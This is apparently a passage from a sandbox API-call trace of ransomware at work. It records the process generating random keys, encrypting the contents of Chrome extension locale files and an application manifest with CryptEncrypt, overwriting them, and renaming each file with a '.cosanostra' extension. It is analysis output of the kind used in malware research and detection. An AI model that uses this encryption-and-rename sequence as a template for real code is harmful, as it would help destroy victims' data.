lpBuffer=0x26ffaf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffab4, lpOverlapped=0x0 | out: lpBuffer=0x26ffaf4*, lpNumberOfBytesWritten=0x26ffab4*=0x4, lpOverlapped=0x0) returned 1 [0085.770] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffab4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffab4*=0x30, lpOverlapped=0x0) returned 1 [0085.770] CloseHandle (hObject=0x178) returned 1 [0085.770] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0085.773] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffaf0 | out: pbBuffer=0x26ffaf0) returned 1 [0085.773] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffae8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffae8*=0x30) returned 1 [0085.773] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.773] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json") returned 155 [0085.773] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.775] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.775] WriteFile (in: hFile=0x178, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26ffaac, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x26ffaac*=0x104, lpOverlapped=0x0) returned 1 [0085.775] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.775] WriteFile (in: hFile=0x178, lpBuffer=0x26ffaec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffaac, lpOverlapped=0x0 | out: lpBuffer=0x26ffaec*, lpNumberOfBytesWritten=0x26ffaac*=0x4, lpOverlapped=0x0) returned 1 [0085.775] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffaac, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffaac*=0x30, lpOverlapped=0x0) returned 1 [0085.775] CloseHandle (hObject=0x178) returned 1 [0085.775] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0085.779] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffae8 | out: pbBuffer=0x26ffae8) returned 1 [0085.779] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffae0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffae0*=0x30) returned 1 [0085.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.779] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json") returned 155 [0085.779] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.780] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff21, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.780] WriteFile (in: hFile=0x178, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x26ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x26ffaa4*=0xdf, lpOverlapped=0x0) returned 1 [0085.780] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.780] WriteFile (in: hFile=0x178, lpBuffer=0x26ffae4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x26ffae4*, lpNumberOfBytesWritten=0x26ffaa4*=0x4, lpOverlapped=0x0) returned 1 [0085.781] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffaa4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffaa4*=0x30, lpOverlapped=0x0) returned 1 [0085.781] CloseHandle (hObject=0x178) returned 1 [0085.781] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0085.783] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffae0 | out: pbBuffer=0x26ffae0) returned 1 [0085.783] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffad8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffad8*=0x30) returned 1 [0085.783] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.886] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 155 [0085.886] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.886] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff1d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.886] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x26ffa9c, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x26ffa9c*=0xe3, lpOverlapped=0x0) returned 1 [0085.887] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.887] WriteFile (in: hFile=0x184, lpBuffer=0x26ffadc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa9c, lpOverlapped=0x0 | out: lpBuffer=0x26ffadc*, lpNumberOfBytesWritten=0x26ffa9c*=0x4, lpOverlapped=0x0) returned 1 [0085.887] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa9c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa9c*=0x30, lpOverlapped=0x0) returned 1 [0085.887] CloseHandle (hObject=0x184) returned 1 [0085.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0085.888] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffad8 | out: pbBuffer=0x26ffad8) returned 1 [0085.888] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffad0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffad0*=0x30) returned 1 [0085.888] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.889] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json") returned 155 [0085.889] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.889] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff24, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.889] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xdc, lpNumberOfBytesWritten=0x26ffa94, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa94*=0xdc, lpOverlapped=0x0) returned 1 [0085.890] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.890] WriteFile (in: hFile=0x184, lpBuffer=0x26ffad4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa94, lpOverlapped=0x0 | out: lpBuffer=0x26ffad4*, lpNumberOfBytesWritten=0x26ffa94*=0x4, lpOverlapped=0x0) returned 1 [0085.890] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa94, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa94*=0x30, lpOverlapped=0x0) returned 1 [0085.890] CloseHandle (hObject=0x184) returned 1 [0085.890] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0085.890] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffad8 | out: pbBuffer=0x26ffad8) returned 1 [0085.890] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffad0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffad0*=0x30) returned 1 [0085.891] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.939] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 159 [0085.939] StrStrW (lpFirst="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", lpSrch=".txt") returned 0x0 [0085.971] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.971] WriteFile (in: hFile=0x178, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ffa94, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x26ffa94*=0x2800, lpOverlapped=0x0) returned 1 [0085.971] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.971] WriteFile (in: hFile=0x178, lpBuffer=0x26ffad4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa94, lpOverlapped=0x0 | out: lpBuffer=0x26ffad4*, lpNumberOfBytesWritten=0x26ffa94*=0x4, lpOverlapped=0x0) returned 1 [0085.971] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa94, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa94*=0x30, lpOverlapped=0x0) returned 1 [0085.971] CloseHandle (hObject=0x178) returned 1 [0085.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms.cosanostra")) returned 1 [0085.973] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffad0 | out: pbBuffer=0x26ffad0) returned 1 [0085.973] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffac8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffac8*=0x30) returned 1 [0085.973] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.973] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json") returned 155 [0085.973] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.974] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff12, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.974] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x26ffa8c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa8c*=0xee, lpOverlapped=0x0) returned 1 [0085.974] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.974] WriteFile (in: hFile=0x178, lpBuffer=0x26ffacc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa8c, lpOverlapped=0x0 | out: lpBuffer=0x26ffacc*, lpNumberOfBytesWritten=0x26ffa8c*=0x4, lpOverlapped=0x0) returned 1 [0085.974] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa8c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa8c*=0x30, lpOverlapped=0x0) returned 1 [0085.974] CloseHandle (hObject=0x178) returned 1 [0085.975] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\he\\messages.json.cosanostra")) returned 1 [0085.976] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffac8 | out: pbBuffer=0x26ffac8) returned 1 [0085.976] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffac0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffac0*=0x30) returned 1 [0085.976] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.976] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json") returned 156 [0085.976] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.977] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff21, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.977] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x26ffa84, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x26ffa84*=0xdf, lpOverlapped=0x0) returned 1 [0085.978] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.978] WriteFile (in: hFile=0x178, lpBuffer=0x26ffac4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ffa84, lpOverlapped=0x0 | out: lpBuffer=0x26ffac4*, lpNumberOfBytesWritten=0x26ffa84*=0x4, lpOverlapped=0x0) returned 1 [0085.978] WriteFile (in: hFile=0x178, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ffa84, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ffa84*=0x30, lpOverlapped=0x0) returned 1 [0085.978] CloseHandle (hObject=0x178) returned 1 [0085.978] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json.cosanostra")) returned 1 [0085.979] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ffac0 | out: pbBuffer=0x26ffac0) returned 1 [0085.979] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ffab8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ffab8*=0x30) returned 1 [0085.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0085.980] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 155 [0085.980] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.981] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xffffff1e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.981] WriteFile (in: hFile=0x178, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x26ffa7c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, 